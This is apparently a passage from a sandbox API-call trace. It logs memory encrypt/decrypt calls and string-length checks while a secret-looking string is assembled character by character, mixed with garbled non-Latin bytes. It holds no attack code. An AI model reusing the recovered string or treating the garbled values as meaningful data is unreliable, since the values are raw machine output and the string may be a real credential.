SysStringLen (param_1="\xa6df\x6a8e\xce86\x37b4\x6c31\xbe44\x29bc\xe58a") returned 0x8 [0135.350] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.350] SysStringLen (param_1="Tsi5H1nB") returned 0x8 [0135.350] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.350] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce") returned 0x8 [0135.350] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce") returned 0x8 [0135.350] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce") returned 0x8 [0135.350] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce") returned 0x10 [0135.350] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.350] SysStringLen (param_1="Tsi5H1nBS宯縓暻ﮀㇴ긼ꜝ") returned 0x10 [0135.350] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.350] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x4437\xff67\x161c\xd8dc\xc6d3\xae03\xc37d\xaaeb") returned 0x10 [0135.351] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x4437\xff67\x161c\xd8dc\xc6d3\xae03\xc37d\xaaeb") returned 0x10 [0135.351] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.351] SysStringLen (param_1="Tsi5H1nBSE縓暻ﮀㇴ긼ꜝ") returned 0x10 [0135.351] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.351] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x14bf\x8356\x3cb1\xac77\x826\x8f0\xc8e1\xa43e") returned 0x10 [0135.351] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x14bf\x8356\x3cb1\xac77\x826\x8f0\xc8e1\xa43e") returned 0x10 [0135.351] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.351] SysStringLen (param_1="Tsi5H1nBSE7暻ﮀㇴ긼ꜝ") returned 0x10 [0135.351] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.351] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\xa239\x30af\x15ca\xe4b6\xec29\xbebc\x5bf5\xc587") returned 0x10 [0135.351] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\xa239\x30af\x15ca\xe4b6\xec29\xbebc\x5bf5\xc587") returned 0x10 [0135.351] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.351] SysStringLen (param_1="Tsi5H1nBSE7Rﮀㇴ긼ꜝ") returned 0x10 [0135.351] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.351] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x4a43\x552b\x22ee\xcc72\x44e8\x34ed\x6311\xa28d") returned 0x10 [0135.351] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x4a43\x552b\x22ee\xcc72\x44e8\x34ed\x6311\xa28d") returned 0x10 [0135.351] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.351] SysStringLen (param_1="Tsi5H1nBSE7Rcㇴ긼ꜝ") returned 0x10 [0135.351] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x574c\x8a9d\x1718\x26e2\x2ead\x97af\xfc83\xe3aa") returned 0x10 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x574c\x8a9d\x1718\x26e2\x2ead\x97af\xfc83\xe3aa") returned 0x10 [0135.352] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.352] SysStringLen (param_1="Tsi5H1nBSE7Rct긼ꜝ") returned 0x10 [0135.352] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x85c3\x9833\x5776\x1f5f\x1044\x581b\x92ad\x4cff") returned 0x10 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x85c3\x9833\x5776\x1f5f\x1044\x581b\x92ad\x4cff") returned 0x10 [0135.352] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.352] SysStringLen (param_1="Tsi5H1nBSE7Rct7ꜝ") returned 0x10 [0135.352] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\xb901\x27ac\xbaf3\x8bab\x9cc5\x26fe\xc777\xde4d") returned 0x10 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\xb901\x27ac\xbaf3\x8bab\x9cc5\x26fe\xc777\xde4d") returned 0x10 [0135.352] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.352] SysStringLen (param_1="Tsi5H1nBSE7Rct73") returned 0x10 [0135.352] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6") returned 0x10 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6") returned 0x10 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6") returned 0x10 [0135.352] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6") returned 0x18 [0135.352] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.352] SysStringLen (param_1="Tsi5H1nBSE7Rct73J糰媾鰹≟⸻৩䵥") returned 0x18 [0135.352] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x54d4\xbbf0\xf608\x7b65\xcb8f\x9bc1\x6094\x2ebc") returned 0x18 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x54d4\xbbf0\xf608\x7b65\xcb8f\x9bc1\x6094\x2ebc") returned 0x18 [0135.353] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo媾鰹≟⸻৩䵥") returned 0x18 [0135.353] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xa8c7\x2bb5\x17e9\xf79a\x5cd8\x3f87\x6422\x3083") returned 0x18 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xa8c7\x2bb5\x17e9\xf79a\x5cd8\x3f87\x6422\x3083") returned 0x18 [0135.353] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2鰹≟⸻৩䵥") returned 0x18 [0135.353] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x754c\x346a\x8976\x90a0\x3cf1\x52d7\xa088\x386b") returned 0x18 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x754c\x346a\x8976\x90a0\x3cf1\x52d7\xa088\x386b") returned 0x18 [0135.353] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2Y≟⸻৩䵥") returned 0x18 [0135.353] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x5f25\x9576\xd608\x965\xcb72\x5d9c\xdec6\xb5e") returned 0x18 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x5f25\x9576\xd608\x965\xcb72\x5d9c\xdec6\xb5e") returned 0x18 [0135.353] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY⸻৩䵥") returned 0x18 [0135.353] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x5653\x97d7\xc55e\x643d\x158b\xb4d3\xe65e\xa3ef") returned 0x18 [0135.353] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x5653\x97d7\xc55e\x643d\x158b\xb4d3\xe65e\xa3ef") returned 0x18 [0135.353] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.354] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1৩䵥") returned 0x18 [0135.354] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x387a\x582e\x1a20\xdf64\xdc91\x5aa3\xedc7\xa129") returned 0x18 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\x387a\x582e\x1a20\xdf64\xdc91\x5aa3\xedc7\xa129") returned 0x18 [0135.354] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.354] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1F䵥") returned 0x18 [0135.354] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xc49c\xa3f5\xeb28\xeb1a\x7b74\x2ecb\xf5e\xe034") returned 0x18 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xc49c\xa3f5\xeb28\xeb1a\x7b74\x2ecb\xf5e\xe034") returned 0x18 [0135.354] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.354] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo") returned 0x18 [0135.354] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db") returned 0x18 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db") returned 0x18 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db") returned 0x18 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db") returned 0x20 [0135.354] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.354] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5ᥨ믗ꃲㅈ厒") returned 0x20 [0135.354] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x3fb7\xba8\x9921\x2a6f\x8fe8\x8602\xb77e\xae3b") returned 0x20 [0135.354] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x3fb7\xba8\x9921\x2a6f\x8fe8\x8602\xb77e\xae3b") returned 0x20 [0135.354] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.354] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f믗ꃲㅈ厒") returned 0x20 [0135.355] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.355] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x6c13\x73b7\xc01f\xc010\x2ab3\x80ab\x7db9\xdb52") returned 0x20 [0135.355] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x6c13\x73b7\xc01f\xc010\x2ab3\x80ab\x7db9\xdb52") returned 0x20 [0135.355] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.355] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4믗ꃲㅈ厒") returned 0x20 [0135.355] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.355] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x8687\x993d\xbe00\xaed8\x439a\x9661\xb1df\x969a") returned 0x20 [0135.355] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x8687\x993d\xbe00\xaed8\x439a\x9661\xb1df\x969a") returned 0x20 [0135.355] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.355] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gꃲㅈ厒") returned 0x20 [0135.355] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.355] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x334c\x255d\x29\x7eb0\x7320\xd89c\xbc74\x8864") returned 0x20 [0135.356] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x334c\x255d\x29\x7eb0\x7320\xd89c\xbc74\x8864") returned 0x20 [0135.356] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.356] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKㅈ厒") returned 0x20 [0135.356] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.356] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x630e\x25b6\xefc9\xaba4\x3286\x4256\x182d\xaaff") returned 0x20 [0135.356] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x630e\x25b6\xefc9\xaba4\x3286\x4256\x182d\xaaff") returned 0x20 [0135.356] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.356] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKg厒") returned 0x20 [0135.356] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.356] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x402e\x4c70\x80ec\xf893\xf9b1\x611b\x2d17\x1ce0") returned 0x20 [0135.356] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x402e\x4c70\x80ec\xf893\xf9b1\x611b\x2d17\x1ce0") returned 0x20 [0135.357] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.357] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgE") returned 0x20 [0135.357] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x2e63\x54b2\x1cfe\xa5bb\x9eeb\xc10b\x3614\x1303") returned 0x20 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x2e63\x54b2\x1cfe\xa5bb\x9eeb\xc10b\x3614\x1303") returned 0x20 [0135.357] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.357] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEu") returned 0x20 [0135.357] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d") returned 0x20 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d") returned 0x20 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d") returned 0x20 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\x4ebb") returned 0x28 [0135.357] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.357] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEui䫳ಌᱍ癱ᅃ遣") returned 0x28 [0135.357] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xf32b\x2ae8\x82d2\xab9c\xef54\x631d\x4cc4\xec16") returned 0x28 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xf32b\x2ae8\x82d2\xab9c\xef54\x631d\x4cc4\xec16") returned 0x28 [0135.357] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.357] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuitಌᱍ癱ᅃ遣") returned 0x28 [0135.357] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xb322\x5c2e\xbaa\x23c\xb7e1\xb9f5\xa3e0\x9c33") returned 0x28 [0135.357] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\xb322\x5c2e\xbaa\x23c\xb7e1\xb9f5\xa3e0\x9c33") returned 0x28 [0135.357] SystemFunction041 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="Tsi5H1nBSE7Rct73Jo2YY1Fo5f4gKgEuit3ᱍ癱ᅃ遣") returned 0x28 [0135.358] SystemFunction040 (in: Memory=0x4383c5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383c5c) returned 0x0 [0135.358] SysStringLen (param_1="\x64ec\x5b85\xd5b\x67bd\x3f40\x2561\xebc7\x97ce\x1c1b\x7cda\x29f6\x9d3f\xe69f\x3aae\x4c12\x7db6\xefd6\x1942\x865a\xbad1\x6432\x25dd\x1669\xe9db\x55cc\xf685\x2bc3\x6ab2\x9116\x2e2c\x2ee7\x7f4d\x626e\x5b7d\xc609\x9c42\xc40a\x5c14\xa8ff\x78f1") returned 0x28 [0135.358] SysStringLen 